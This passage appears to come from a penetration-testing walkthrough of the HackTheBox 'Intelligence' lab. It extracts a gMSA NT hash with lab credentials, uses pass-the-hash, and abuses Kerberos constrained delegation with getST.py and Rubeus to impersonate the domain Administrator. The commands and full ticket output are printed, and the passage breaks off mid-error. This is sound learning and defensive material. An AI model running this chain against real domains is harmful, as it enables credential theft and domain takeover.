ConvertFrom-ADManagedPasswordBlobcmdlet with the RSAT’s Get-ADServiceAccount cmdlet:PS C:\Users\jamarir> $gmsa = Get-ADServiceAccount -Identity 'svc_int$' -Properties msDS-ManagedPassword -Server 10.10.10.248 -Credential (New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES',(ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force))) PS C:\Users\jamarir> ConvertFrom-ADManagedPasswordBlob -Blob $gmsa.'msDS-ManagedPassword' Version : 1 CurrentPassword : 豤⽨뿚搊荽勃�蝕㖨ᖏ�䨺栗ꩈ䄝嶿豇튈䣜䡪敼웿維돂췪ﾑ傝ꔃ鍍⯍⩎堛胤㰾㥚䒈�൙⁶ꦆㆭㆸ䎼尵驏惤ㆮ⾰콙濻൙≥㲌ᠣ䩚랪۵遢ᱧ聞ᨷ䐟䪌經䓧腞뵍쨝莗ꞧ哟紿坑⺅큀鱇꘧畣�킸㘰䪠页붌ᅭ㯲ﷃ‷䘒⏑㎴욷觷돊짔厕？艖믯濈휀観暷ꋹꃉ妩襐쭑䪜ꪨ吰历橦笠╃열嶸➭㘁헋 SecureCurrentPassword : System.Security.SecureString PreviousPassword : 阢関⑤첷ﱹꜽ蠰ᗪ拵坺갏ꥯᚢ鯮⍚噋柠䷤䕌匿緾女ȶᵢ脟匟慓篓�뭦鴸뉏諭炣␔�䓟柄Ӻ邐�蓛謣굤끷뵖ꡩ俇遲塈㯾馿駴딉梂⬗6砾쳗ු溇▖偹뎦䚫�☘Ტ钓Ф殫ꀘ콓�왙螝ᯊ誈뻣⛚ﾀ뺜ﶍᘾ佩Ⓓڹސゾ筈剔嗭ꣶ쀪⪂揠ﯴ睠靼̕澊⻰䐫뱣⃙躠홫셖鱻�䐰 SecurePreviousPassword : System.Security.SecureString QueryPasswordInterval : 16.07:53:02.4844583 UnchangedPasswordInterval : 16.07:48:02.4844583 PS C:\Users\jamarir> (ConvertFrom-ADManagedPasswordBlob -Blob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword |ConvertTo-NTHash b05dfb2636385604c6d36b0ca61e35cb
BTW, notice that this path was potentially the one to exploit, as looking for inbounds towards
svc_int$shows the DC can do it as well:
Also, the gMSA NTHash is given instead of the actual password. That’s because this password is randomly generated, thus contains non-printable characters (that we can’t easily manipulate with our keyboard, compared to the NTHash), as stated in this DSInternals page:
Thus, we can compromise that service account using the svc_int$:b05dfb2636385604c6d36b0ca61e35cb PTH credentials:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb
svc_int$2DA Constrained Delegation
Constrained Delegation Recon
For more in-depth information, you may check the Microsoft’s Kerberos Constrained Delegation Overview, the Kerberos Protocol Extensions, the Delegation Examples, or this Shenanigans’s article.
Looking for shortest paths to Domain Admins from Owned principals (i.e. Tiffany.Molina, TED.GRAVES, and svc_int$ so far), we find a constrained delegation privesc path:
svc_int$ is allowed to delegate its TGS requests onto the DC using the WWW/dc service, as shown by its msDS-AllowedToDelegateTo attribute:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb' -d 'intelligence.htb' --query '(&(sAMAccountName=svc_int$))' 'msDS-AllowedToDelegateTo'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.248 389 DC [+] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb
LDAP 10.10.10.248 389 DC [+] Response for object: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
LDAP 10.10.10.248 389 DC msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
Quick Constrained Delegation Overview
The issues, though, are that:
The SPN can be changed to any value we want. That’s because as Alberto Solino found out, the KRB-CRED message’s
snameattribute isn’t an encrypted field. For example, we may access the SMB service on the DC replacingWWWbyCIFS.
The fact that
svc_int$has been given the delegation rights onto the DC allows him to impersonate any user in the domain, especially DAs.
It should be noted, though, that because our delegation privilege is towards the DC.intelligence.htb back-end service only, we’re limited to that target for our delegation impersonations:
Finally, if we want to impersonate an individual through Constrained Delegation:
It must NOT be in the
Protected Usersgroup.It must NOT be marked as
"this account is sensitive and cannot be delegated".
S4U2proxy Kerberos Extension
In constrained delegation, a front-end service allowed to delegate to a back-end service (aka. a resource service) allows the former to access the resources of the latest on behalf of any user. This is possible using the S4U2proxy Kerberos extension.
For instance, this can be useful to allow a front-end HTTP service to request a back-end MSSQL service on behalf of a legitimate user, so that only the data accessible by the user are returned in the response. The user’s rights are implicitely configured, “on-the-fly”.
In the below image, we can see how a front-end service may impersonate a user against another service with an S4U2proxy ticket using the user’s forwardable TGT (annotated TGT (f) below):
The user requests a forwardable then forwarded TGT (1-4).
The user requests a TGS to the front-end service with the forwardable TGT (5-6).
The user requests access to the front-end service APplication with the forwarded TGT (7).
The front-end service impersonates the user using his forwardable TGT to request a TGS to the back-end service (8-9).
Finally, the front-end service uses that TGS to retrieve the appropriate impersonated user’s response (10-12).
As shown in the 13-16 steps, the front-end service may replay that same impersonation process against any back-end service.
S4U2self Kerberos Extension
If, for some reasons, the user authenticated to the front-end service without Kerberos (e.g. using NTLM), then that front-end service would need to request a forwardable TGT on behalf of the user, for its later S4U2proxy impersonation. This is done using an additional S4U2self extension beforehand:
Exploitation
Again, the BloodHound’s help shows that the svc_int$ front-end service is allowed to delegate to the WWW/DC.intelligence.htb back-end service:
Interestingly enough,
svc_int$is the front-end service in our delegation attack, but it hosts no service:jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'TED.GRAVES' -p 'Mr.Teddy' -d 'intelligence.htb' --query '(&(sAMAccountName=svc_int$))' 'servicePrincipalName' SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False) LDAP 10.10.10.248 389 DC [+] intelligence.htb\TED.GRAVES:Mr.Teddy LDAP 10.10.10.248 389 DC [+] Response for object: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb(Anyway, who cares as long as we can privesc ?)
As we said ealier, the sname attribute isn’t protected in the TGS exchanges. Therefore, knowing that SMB/CIFS is running on the back-end service (DC.intelligence.htb), we’ll use the getST.py’s -altservice option to get a TGS of that service (to later psexec).
A list of built-in (while non-exhaustive) SPNs on computer accounts is:
Most importantly, impersonating a DA against the DC using the:
CIFS (SMB)
altserviceallows to PsExec.LDAP
altserviceallows to DCSync.
Also, because svc_int$ is allowed to delegate to DC.intelligence.htb, we’ll impersonate a Domain Admin (Administrator) using the -impersonate option.
jamarir@kali:~$ getST.py -h
[...]
-spn SPN SPN (service/server) of the target service the service ticket will be generated for
-altservice ALTSERVICE
New sname/SPN to set in the ticket
-impersonate IMPERSONATE
target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
[...]
As we know, TED.GRAVE cannot delegate to DC$, so he can’t impersonate a DA:
jamarir@kali:~$ getST.py intelligence.htb/'TED.GRAVES:Mr.Teddy' -spn 'WWW/DC.intelligence.htb' -altservice 'cifs' -impersonate 'Administrator'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Probably user TED.GRAVES does not have constrained delegation permisions or impersonated user does not exist
But svc_int$ can:
Using
getST.py:jamarir@kali:~$ getST.py intelligence.htb/'svc_int$' -hashes ':b05dfb2636385604c6d36b0ca61e35cb' -spn 'WWW/dc.intelligence.htb' -altservice 'cifs' -impersonate 'Administrator' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2Proxy [*] Changing service from WWW/dc.intelligence.htb@INTELLIGENCE.HTB to cifs/dc.intelligence.htb@INTELLIGENCE.HTB [*] Saving ticket in Administrator@cifs_dc.intelligence.htb@INTELLIGENCE.HTB.ccacheUsing
Rubeus, first asking a TGT forsvc_int$, then impersonatingAdministratorusing S4U2self (forwardableAdministratorTGT) and S4U2proxy (back-end service impersonation) againstCIFS/DC.intelligence.htb:PS C:\Users\jamarir> sc.exe config w32time start= auto PS C:\Users\jamarir> net stop w32time PS C:\Users\jamarir> net start w32time PS C:\Users\jamarir> w32tm /config /update /manualpeerlist:'10.10.10.248' PS C:\Users\jamarir> runas /netonly /user:'intelligence.htb\TED.GRAVES' powershell Enter the password for intelligence.htb\TED.GRAVES: Attempting to start powershell as user "intelligence.htb\TED.GRAVES" ...PS C:\Windows\system32> Rubeus.exe asktgt /nowrap /user:svc_int$ /domain:intelligence.htb /ntlm:b05dfb2636385604c6d36b0ca61e35cb ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: Ask TGT [*] Using rc4_hmac hash: b05dfb2636385604c6d36b0ca61e35cb [*] Building AS-REQ (w/ preauth) for: 'intelligence.htb\svc_int$' [+] TGT request successful! [*] base64(ticket.kirbi): doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoRIbEElOVEVMTElHRU5DRS5IVEKiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGludGVsbGlnZW5jZS5odGKjggPTMIIDz6ADAgESoQMCAQKiggPBBIIDvR1bxa9SQ0IjKfb4FAnHGMLVRbwWXP9YdUyVVe8MKq1nKe/cdsDvqIRzOWvnQRLavPMXeWaIUvEQA7r7emFnz1nbP1M9Pw+R33RP+/4QUZUlQ+xhC2Szl0dw7UimOlKj+8MfA2bBwfv0Z78aKeamDFtbyROvuTbI57SIFqnUPNpR4qgKuDh6S6weTWiNFwmQQKb073kOYHSAIWrCgJdWXDgSKffSWtzECJphPuEMIc5SrE10gCPpmExXAdwrhDSi6600moNXfgDncvfXZY96d5MGO04SkB/dC8MwPKp8Uzs2eqDJUGwMGK1oPeseNAF9LfiUTFrIr4fySYiZZpEZ7SWfCLgAXIKSAn/cfBCxU82V4dTcvyaCQlZVmSOnXOx8U5KbsNVm9upyn+84FN6RNnhiXD3yH7I6a60E9rHagHoF39MWYrM1fzE7cncJzcAz7juS4PeEDCtioImgwgzu1IaNc0SN9YdbOEvcuinye8lJrQS5NSmAl3GrKRFlJwfSePpWAUQaKi/W8MWa5hBblVpyuWeKi5XisJpkb7sWLiushaqTq/3qYZZmUPVFo9XCs+4veE3SYBploeY3aaktEqLLV7yiN/gsSVltcQTOQTW2YyLD2zTaMe0OyVOtjLF3sPSijux4dwH2aNd23DJdKTdpK2GnY/gRjM80A4JWFdsod9TZPtm57DwQqDKV4eJMPumQkafIRiH5mmC5vPMcEZ7IgmU2zSuzAbPY4AS9ikmFlQVPoCoxfGoi5qUwj9WBMsMlu3bRkLAGHyOpkaMzhn0VDzzcgx3XHUYe4wC26kZCuGscDR6ypxP4xbB76LMZ4OKkomC32ggfgaDBadF6x2YqmTlbjtFMv6Z2dfHPR6j0omWWK7t2vkszVRa0wVaxX6PGEUjMO1u0iTmi44KjSTpjUeCOtuHhNcmvNYeGLvzVXHG/p0E1tvMNIiQ9x7rXw0zodnq6GUMRhIn3t3CK3lTmZDtErZki3n6u1BK6PW0bWZjGNBdbh7lzWuH2rwkboocW+U4HP18FPSaB+pFiLAz7LfhR7JhjQ0QrOpnJnLn5MiXWJWqiBQWHkQ+TNxvdilyKnWXUwgUEq834RwddDsnY2ube5TaaPkcOtBfMSVnmHCGMikN/9M/YCDUQrK1lsFwB+s2xthoSTV0wb6lpWyUitPmjbhyEIlmXmx9SeNez14IQApvk6M3Scso6UpQP6y1CanxTux5tjWww7TaeVDSCUofRhwvkWxIogdAYDq1eHdd3kE8Hl846e/ZOdaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoBswGaADAgEXoRIEEEUx3FV5QRGTnFzggelSa2WhEhsQSU5URUxMSUdFTkNFLkhUQqIVMBOgAwIBAaEMMAobCHN2Y19pbnQkowcDBQBA4QAApREYDzIwMjUwNDI3MTY1NzU4WqYRGA8yMDI1MDQyODAyNTc1OFqnERgPMjAyNTA1MDQxNjU3NThaqBIbEElOVEVMTElHRU5DRS5IVEKpJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGludGVsbGlnZW5jZS5odGI= ServiceName : krbtgt/intelligence.htb ServiceRealm : INTELLIGENCE.HTB UserName : svc_int$ UserRealm : INTELLIGENCE.HTB StartTime : <DATE> EndTime : <DATE> RenewTill : <DATE> Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : RTHcVXlBEZOcXOCB6VJrZQ==PS C:\Windows\system32> Rubeus.exe s4u /nowrap /domain:intelligence.htb /impersonateuser:Administrator /msdsspn:WWW/DC.intelligence.htb /altservice:cifs /ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoRIbEElOVEVMTElHRU5DRS5IVEKiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGludGVsbGlnZW5jZS5odGKjggPTMIIDz6ADAgESoQMCAQKiggPBBIIDvR1bxa9SQ0IjKfb4FAnHGMLVRbwWXP9YdUyVVe8MKq1nKe/cdsDvqIRzOWvnQRLavPMXeWaIUvEQA7r7emFnz1nbP1M9Pw+R33RP+/4QUZUlQ+xhC2Szl0dw7UimOlKj+8MfA2bBwfv0Z78aKeamDFtbyROvuTbI57SIFqnUPNpR4qgKuDh6S6weTWiNFwmQQKb073kOYHSAIWrCgJdWXDgSKffSWtzECJphPuEMIc5SrE10gCPpmExXAdwrhDSi6600moNXfgDncvfXZY96d5MGO04SkB/dC8MwPKp8Uzs2eqDJUGwMGK1oPeseNAF9LfiUTFrIr4fySYiZZpEZ7SWfCLgAXIKSAn/cfBCxU82V4dTcvyaCQlZVmSOnXOx8U5KbsNVm9upyn+84FN6RNnhiXD3yH7I6a60E9rHagHoF39MWYrM1fzE7cncJzcAz7juS4PeEDCtioImgwgzu1IaNc0SN9YdbOEvcuinye8lJrQS5NSmAl3GrKRFlJwfSePpWAUQaKi/W8MWa5hBblVpyuWeKi5XisJpkb7sWLiushaqTq/3qYZZmUPVFo9XCs+4veE3SYBploeY3aaktEqLLV7yiN/gsSVltcQTOQTW2YyLD2zTaMe0OyVOtjLF3sPSijux4dwH2aNd23DJdKTdpK2GnY/gRjM80A4JWFdsod9TZPtm57DwQqDKV4eJMPumQkafIRiH5mmC5vPMcEZ7IgmU2zSuzAbPY4AS9ikmFlQVPoCoxfGoi5qUwj9WBMsMlu3bRkLAGHyOpkaMzhn0VDzzcgx3XHUYe4wC26kZCuGscDR6ypxP4xbB76LMZ4OKkomC32ggfgaDBadF6x2YqmTlbjtFMv6Z2dfHPR6j0omWWK7t2vkszVRa0wVaxX6PGEUjMO1u0iTmi44KjSTpjUeCOtuHhNcmvNYeGLvzVXHG/p0E1tvMNIiQ9x7rXw0zodnq6GUMRhIn3t3CK3lTmZDtErZki3n6u1BK6PW0bWZjGNBdbh7lzWuH2rwkboocW+U4HP18FPSaB+pFiLAz7LfhR7JhjQ0QrOpnJnLn5MiXWJWqiBQWHkQ+TNxvdilyKnWXUwgUEq834RwddDsnY2ube5TaaPkcOtBfMSVnmHCGMikN/9M/YCDUQrK1lsFwB+s2xthoSTV0wb6lpWyUitPmjbhyEIlmXmx9SeNez14IQApvk6M3Scso6UpQP6y1CanxTux5tjWww7TaeVDSCUofRhwvkWxIogdAYDq1eHdd3kE8Hl846e/ZOdaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoBswGaADAgEXoRIEEEUx3FV5QRGTnFzggelSa2WhEhsQSU5URUxMSUdFTkNFLkhUQqIVMBOgAwIBAaEMMAobCHN2Y19pbnQkowcDBQBA4QAApREYDzIwMjUwNDI3MTY1NzU4WqYRGA8yMDI1MDQyODAyNTc1OFqnERgPMjAyNTA1MDQxNjU3NThaqBIbEElOVEVMTElHRU5DRS5IVEKpJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGludGVsbGlnZW5jZS5odGI= ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: S4U [*] Action: S4U [*] Using domain controller: dc.intelligence.htb (dead:beef::d458:19ff:a00c:c65b) [*] Building S4U2self request for: 'svc_int$@INTELLIGENCE.HTB' [*] Sending S4U2self request [+] S4U2self success! [*] Got a TGS for 'Administrator' to 'svc_int$@INTELLIGENCE.HTB' [*] base64(ticket.kirbi): doIFpDCCBaCgAwIBBaEDAgEWooIEqDCCBKRhggSgMIIEnKADAgEFoRIbEElOVEVMTElHRU5DRS5IVEKiFTAToAMCAQGhDDAKGwhzdmNfaW50JKOCBGgwggRkoAMCARKhAwIBBKKCBFYEggRSGpsxILUHorJVkhGYwKC/Kw5hdRoGUF82henXtfkjhECilA7Lej/VKgC34VJoSURzDcP2nSkJQCuCLHrbVZusQ4icox05twfhGjVnNBXPoE2GYFPs15wRZw6LszXQulZll+Zqu5pS9SBGwzyQ7/nWpdBcu+mpig9IJ1D9999hTY087/8s0zhv+grb3WWBBHzYuDcyoULH+Xu/MDz7qZSuz51/NuVxkP2QzcxcqrmWRDQm0M4NxbYDsCgMZuQ7j30HxrHrCO/GahfLjsSYyJ/Juk2cm93rKlfBoCQjIUKpUlhHzqxFzWboBCZiRxQQKs6q1bVTNh+/xftFUyQVHbfdzimTBkO1Y1c1BicSkeLE8NcI8sL9MFLFqEjD8HxyGixWUAHEGCT/XVcV0GPziZjMk/w1My49rDg2+ZtnkC9pwHIx262hB6bynEIrGPGz0fqcJDYobcFh/IIpUpvIxJle0rtG6saZNZvrixHNx5ynNgHJYIst0EKrcqc6EgGXqHeopSnsegEn2s/NKUH8yq1RGKyXMwqcI709KOJRLOX1bBldshEWCsUkc74o5iII9SfSpO49ePpoM8c4BRJuVx3k2dr9ozWQQv2h9lkNpgX0HvCxD6v1mSRonzhgfNUAJ2w7suqPmzkwgJeY5ttv3yopx2/2zR+IjxYZpthVd89ETIVYMg1rsXm0/6dK827hnCF4Ths/3LXVhGnUWw+XYn+KQvwsrhZ7SJ0KrlQ4/x7dUbLDWyCwa5rmQG0FYlAr2QiYgAwRnvXe7zqR/lhxxCmSiHnOccix4+wMojkXbcxCfZqAuORjOPlAYliAFfd8VCXfwVs2p8Ps6eZZfrDieL4EQuTfVJcy2YhzNrZR8T8LZXbzsA32BF2cUmDjC/m1H+rH+oQwhFDWOcj0vcuHdm//1KCtTOGOFGNrYwBBDasdK/u5+vv5M0nAQ/DOCOZXxNwQDg69udAmdGPZMSLr6xkU4bKeL5Q6PukKA5LY4DdPkkSFug2N+vCeFYJpAJ+2ntuiIklvVtT02+WKyosCWM6xtEWmvJYwbyRiLIOAVsubkMo7+wiWNR5hcN5Pnr1a2r47a2Qv92XjcKWHbsOpYRjaOjTq0d9niDncH1zJ+33c+zeWtG4vLqXckQUBEQpvTZqQ44K9o1TNhNbwZ2QtpqmR9LgQUhdhRwFeLYTCVafk2srO0w4k/DkAzAdqagGlS96TBSemHHe2Td9O2+dlenrOY1LspfO60HrHhy8Z2s0sm0kkblwDd3KaZcYJ4ixUpACrG9rad8eZkKOt9SGfYQcofuIOcD25JWVsQIS253r+zohRlGjdq5IX8NTL78xeIW9J+0/LYP6qaP8+g9+N2DOk/JQ4uWg+rpvSUMG4gcdl3JBtjxiCVrFKY+pG3BFbssVwOhSf+zexp+65FfWYBs4qcxCCUDQaQfuLH8B04LpYP3uvDqig6NvKfrXV0ueSNv6Dy+ujgecwgeSgAwIBAKKB3ASB2X2B1jCB06CB0DCBzTCByqArMCmgAwIBEqEiBCDxFz0Sn8Gf4h/dkmP/LMcwSSqGkmDTgfbAQNll+X6usaESGxBJTlRFTExJR0VOQ0UuSFRCohowGKADAgEKoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKEAAKURGA8yMDI1MDQyNzE3NDQwNlqmERgPMjAyNTA0MjgwMjU3NThapxEYDzIwMjUwNTA0MTY1NzU4WqgSGxBJTlRFTExJR0VOQ0UuSFRCqRUwE6ADAgEBoQwwChsIc3ZjX2ludCQ= [*] Impersonating user 'Administrator' to target SPN 'WWW/DC.intelligence.htb' [*] Final ticket will be for the alternate service 'cifs' [*] Using domain controller: dc.intelligence.htb (dead:beef::d458:19ff:a00c:c65b) [*] Building S4U2proxy request for service: 'WWW/DC.intelligence.htb' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi) for SPN 'cifs/DC.intelligence.htb': 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 [+] Ticket successfully imported!For some mystic reasons,
Rubeus.exe(SharpCollection version4.5_x64) might return anSystem.Exception: Error parsing response AS-REQ: Asn1.AsnException: value overflowerror:PS C:\Windows\system32> C:\[...]\SharpCollection\NetFramework_4.5_x64\Rubeus.exe asktgt /nowrap /user:svc_int$ /domain:intelligence.htb /ntlm:b05dfb2636385604c6d36b0ca61e35cb [...] [!] Unhandled Rubeus exception: System.Exception: Error parsing response AS-REQ: Asn1.AsnException: value overflow at Asn1.AsnElt.Decode(Byte[] buf, Int32 off, Int32 maxLen, Int32& tc, Int32& tv, Boolean& cons, Int32& valOff, Int32& valLen) at Asn1.AsnElt.Decode(Byte[] buf, Int32 off, Int32 len, Boolean exactLength) at Rubeus.Ask.InnerTGT(AS_REQ asReq, KERB_ETYPE etype, String outfile, Boolean ptt, String domainController, LUID luid, Boolean describe, Boolean verbose, Boolean opsec). Base64 response: a4IFejCCBXagAwIBBaEDAgELoxIbEElOVEVMTElHRU5DRS5IVEKkFTAToAMCAQGhDDAKGwhzdmNfaW50JKWCBB9hggQbMIIEF6ADAgEFoRIbEElOVEVMTElHRU5DRS5IVEKiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGludGVsbGlnZW5jZS5odGKjggPTMIIDz6ADAgESoQMCAQKiggPBBIIDvTex5Yl4cCFFh9f8Lp1eUh4shWXtKqiYae8tagw2X0OTmrqk1eu+vtFQPJy1qWjU8kBvgPBBKvoy5H+T+HzNOCrsKkcOJUwVENCyVG4j5U5OoB20EsI6Q6f7Z+jEMenOQRpJ0Nx17VAMYKQD1M77oyZYrL2JhwNAxIZvTF/fpEP1cWY4DTPaY+mg8o7EdZ3AtyefUWJtKc22JMtMHl1DzCnBygs923CR1HtJ8hSR4+ucWSa0h1PcQ82uypdjDsLWfJfFL7uMwahUhyrJqE6T0f5MPwrGPbLb0BG9M7m4MwvQt9eGieZv7xQ8GP0Lhj8KaOWVumJIkY1eFJZsjY3ZJQ5ULYQUu25JVnwbSzamVwD3jpoI44IONLV+a+v35ip5pGTRovRcr/H0JgItlRlq7mXiQv2thdzCl2h3wcLkZn8jMa9aqQGew8kMNot8pPbZslmvP9qwzd1Z/5WhyCTAhRq/vsxXkx/uKNX4ZzNoWF2M+nJgKQAuP32Q6cLOch19dNPCuIZKN9M6na8cSGh0bEMEIhGvC8c/eYicmj6YKIgXDHQ8Ga/HnGZaVdgIQ9th/athrbF+gpud9CjxuMyP/NTnVUf4fOjrcOcnb3Z1fZPADP6nsDno4jPi9CJsgu0QdGbALmncDlo5YwcnMVSSTlaZqH+bi0nQl8L1dB2GHmae40tar0Z4j7pltIBq9aWLj7Dt3zRgDi68BZ/lPNATVm4c+zgpFEtl1PY7BnglevFJoATpo8C3xo/eron50ZjkOCvAz5ZawXVFbbtdQ3+fGakeDgaUytA58VkJqh3a/AqSHqy87T2C2MWH12HKfV21oqzCNce0+/6EaNvS1hNRRo/JkjSxhofeRggrKWPsC6fNzdtoelNNQNZDE1zpPthC1NnQ8qRUlV62r7+DtMF8QeKjOiqiHWFJxvc4XX5uo/zTTD6b6GTbJjQzQ3oJmsrq1O7VE1wEbQFRMyx1HfD9gso39OTQE+zri1mBypdTuxZTX4NMLUj/KEbdu/R9f1QCUxPjnIohjtWtuYza5onr2QJK675rPgrYsSgya1PRdyEvHmOHLlESd7ePUJ29pdTNajxzRQYXF8JcIXTazmHjpaF8j8XUaNZUagSIbl3RMKjYKFJYcg7d/GSKnQUeRPk2AU4+V03AQaqdm1ckLoNs+8UgBy0uWYNB4P4UVRLdYrxk4eiogiEI3PudDLibr3KwRNMzbr7i7c4eEPrWIay+az1Ma3nQulfQ7HxeXYY+QcxDA6ybfOO74kurO3djUaaCARowggEWoAMCARehAwIBBKKCAQgEggEEloUXBVZIXABxYTkeoPnejowTHmSC9zVMtYt6bmDZE2Osf+BuIr0z4aW7QjLxVBy0ukqgtWuwGRUIJWTUOtzs4PJC5U3wdlWrikiqDTvltmyHJorWWY5hOGefvqnk5NELD8Qr1I8ATsYo5SEygxvn3pNe3fKnt2RP8i1J8En1Sv0vh8NkZ+oD+2ZL01ExzqWTxtmFMVCVmrC1aqqnSHCyz9AoyaNaMU54Eic= at Rubeus.Ask.InnerTGT(AS_REQ asReq, KERB_ETYPE etype, 